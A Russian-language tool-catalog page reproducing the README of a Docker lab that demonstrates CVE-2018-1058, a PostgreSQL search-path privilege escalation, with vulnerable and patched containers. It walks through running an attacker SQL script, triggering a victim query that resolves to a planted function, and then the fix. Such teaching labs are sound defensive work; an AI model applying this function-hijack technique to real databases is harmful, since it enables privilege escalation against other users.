Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-1058 — Воспроизводимая демонстрация на основе Docker повышения привилегий PostgreSQL через неконтролируемый путь поиска (CVE-2018-1058) с сравнением уязвимой и исправленной сред. | Kitploit
Инструменты/GitHubGitHub/ccchme/cve-2018-1058
Повышение привилегийАнализ уязвимостейЭксплуатацияОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHubccchme/cve-2018-1058

CVE-2018-1058

Воспроизводимая демонстрация на основе Docker повышения привилегий PostgreSQL через неконтролируемый путь поиска (CVE-2018-1058) с сравнением уязвимой и исправленной сред.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-1058 — Демонстрация пути поиска PostgreSQL

Этот репозиторий содержит итоговый отчет и артефакты воспроизводимости для:

CVE-2018-1058: Повышение привилегий в PostgreSQL через неконтролируемый путь поиска

Цель — продемонстрировать ошибку доверия к пути поиска, лежащую в основе CVE-2018-1058, используя безопасное локальное окружение Docker.

Демонстрация не воспроизводит точный исторический путь выполнения pg_dump. Вместо этого она воспроизводит ту же корневую причину, описанную в рекомендациях PostgreSQL: схема, доступная для записи атакующему, содержит похожий объект, и другой сеанс разрешает неквалифицированное имя в этот объект.


1. Содержание

root@kitploit:~
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
    ├── init.sql
    ├── init_safe.sql
    ├── exploit.sql
    ├── victim_query.sql
    ├── verify_qualify.sql
    └── fix.sql

Итоговый отчет находится в файле report.pdf. Он включает письменный анализ и скриншоты, соответствующие ожидаемым выводам ниже.

Файл Dockerfile не требуется. Проект использует официальные образы postgres.

Скриншоты встроены непосредственно в report.pdf, поэтому они не предоставляются в виде отдельных файлов изображений.

2. Требования

Установите:

  • Docker
  • Docker Compose
  • Клиент psql, опционально, но рекомендуется

Демонстрация использует два контейнера PostgreSQL:

Убедитесь, что порты 15432 и 15433 свободны.

Краткий обзор запуска

Ожидаемый порядок выполнения:

  1. Запустите уязвимый сервис PostgreSQL 10.2.
  2. Выполните exploit.sql от имени attacker.
  3. Выполните victim_query.sql от имени victim и наблюдайте префикс CVE-2018-1058 DEMO:.
  4. Выполните verify_qualify.sql от имени victim и наблюдайте обычный вывод в нижнем регистре.
  5. Выполните fix.sql от имени postgres.
  6. Повторно выполните victim_query.sql и наблюдайте обычный вывод в нижнем регистре.
  7. Запустите исправленный сервис PostgreSQL 10.3.
  8. Повторно выполните exploit.sql на порту 15433 и наблюдайте permission denied for schema public.

3. Запуск уязвимого окружения

root@kitploit:~
docker compose up -d pg_vulnerable
docker compose ps

Ожидаемый результат: сервис pg_vulnerable должен быть запущен и привязан к порту 15432.

Проверьте версию PostgreSQL:

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"

Ожидаемый результат: PostgreSQL 10.2.

4. Просмотр ролей базы данных

root@kitploit:~
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"

Ожидаемые роли:

  • postgres
  • attacker
  • victim

Злоумышленник не является суперпользователем PostgreSQL.

5. Запуск эксплойта

Запустите скрипт злоумышленника:

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

Ожидаемый вывод:

root@kitploit:~
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION

Это создает:

  • безвредную таблицу public.exploit_log;
  • поддельную функцию public.lower(varchar).

6. Инициирование уязвимого поведения от имени жертвы

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

Ожидаемый вывод:

root@kitploit:~
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo

Это показывает, что обычный запрос жертвы разрешил lower(...) в функцию, контролируемую злоумышленником.

7. Подтверждение побочного эффекта

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"

Ожидаемый результат: как минимум две строки в public.exploit_log, по одной на каждую строку, обработанную запросом жертвы.

8. Демонстрация защитной квалификации

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql

Ожидаемый вывод:

root@kitploit:~
alice demo
bob demo

Это работает, потому что pg_catalog.lower(...) заставляет PostgreSQL использовать встроенную функцию.

9. Применение исправления на уязвимом контейнере

root@kitploit:~
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql

Ожидаемый вывод может включать:

root@kitploit:~
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE

Затем повторно выполните запрос жертвы:

root@kitploit:~
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql

Ожидаемый вывод:

root@kitploit:~
alice demo
bob demo

Функция, контролируемая злоумышленником, удалена, и запрос возвращает обычные строки в нижнем регистре.

10. Запуск исправленного окружения

root@kitploit:~
docker compose up -d pg_fixed
docker compose ps

Проверьте версию:

root@kitploit:~
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"

Ожидаемый результат: PostgreSQL 10.3.

11. Проверка, что эксплойт не срабатывает в исправленном окружении

root@kitploit:~
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql

Ожидаемый вывод:

root@kitploit:~
ERROR: permission denied for schema public

Это означает, что злоумышленник не может создать поддельную функцию в public, поэтому цепочка атаки останавливается до разрешения имени.

12. Очистка

Для остановки контейнеров:

root@kitploit:~
docker compose down

Для удаления томов и полного сброса проекта:

root@kitploit:~
docker compose down -v

13. Примечания

Эта демонстрация намеренно безвредна. Она не крадет данные, не получает доступ к файлам и не выполняет команды операционной системы.

Эксплойт использует видимый префикс строки и таблицу журнала, чтобы доказать, что PostgreSQL разрешил неквалифицированное имя функции в объект, контролируемый злоумышленником.

Официальный CVE касается pg_dump и других клиентских приложений. Этот репозиторий демонстрирует ту же ошибку доверия к пути поиска в безопасной и воспроизводимой учебной среде.

14. Устранение неполадок

Если порт уже используется, остановите любой локальный сервис PostgreSQL или измените порты хоста в docker-compose.yml.

Если вывод не соответствует ожидаемым результатам, сбросьте окружение командой:

root@kitploit:~
docker compose down -v
docker compose up -d pg_vulnerable

Если psql не установлен локально, команды проверки версии и ролей все еще можно выполнить с помощью docker exec внутри контейнеров.

Если эксплойт не срабатывает на pg_vulnerable, убедитесь, что база данных была сброшена и что scripts/exploit.sql выполняется до scripts/fix.sql.

15. Ссылки

  • Консультация PostgreSQL по CVE-2018-1058: https://www.postgresql.org/support/security/CVE-2018-1058/
  • Вики PostgreSQL, Руководство по CVE-2018-1058: https://wiki.postgresql.org/wiki/A_Guide_to_CVE-2018-1058:_Protect_Your_Search_Path
  • Примечания к выпуску PostgreSQL 10.3: https://www.postgresql.org/docs/release/10.3/
  • NVD CVE-2018-1058: https://nvd.nist.gov/vuln/detail/CVE-2018-1058
  • MITRE CVE-2018-1058: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1058
Скачать инструмент
СервисВерсияИмя контейнераПорт хостаНазначение
pg_vulnerablePostgreSQL 10.2cve1058_pg_vulnerable15432уязвимая демонстрация
pg_fixedPostgreSQL 10.3cve1058_pg_fixed15433исправленное/укрепленное сравнение